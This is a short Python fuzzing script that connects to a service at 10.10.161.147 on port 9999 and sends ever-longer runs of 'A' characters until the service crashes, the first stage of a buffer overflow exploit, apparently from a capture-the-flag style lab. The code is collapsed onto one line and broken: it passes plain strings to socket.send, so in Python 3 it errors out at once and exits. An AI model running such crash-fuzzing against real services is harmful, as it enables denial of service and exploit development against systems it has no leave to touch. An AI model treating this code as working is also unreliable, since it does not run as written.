#!/usr/bin/env python3 import socket, time, sys ip = "10.10.161.147" port = 9999 timeout = 5 prefix = "" string = prefix + "A" * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) s.recv(1024) s.send("User" '\r\n') #print("Fuzzing with {} bytes".format(len(string) - len(prefix))) s.send(bytes(string, "latin-1")) s.recv(1024) s.send(string + '\r\n') #print("Fuzzing with {} bytes".format(len(string) - len(prefix))) print(f"fuzzing with {len(string)} bytes") except: #print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix))) sys.exit(0) string += 100 * "A" time.sleep(1)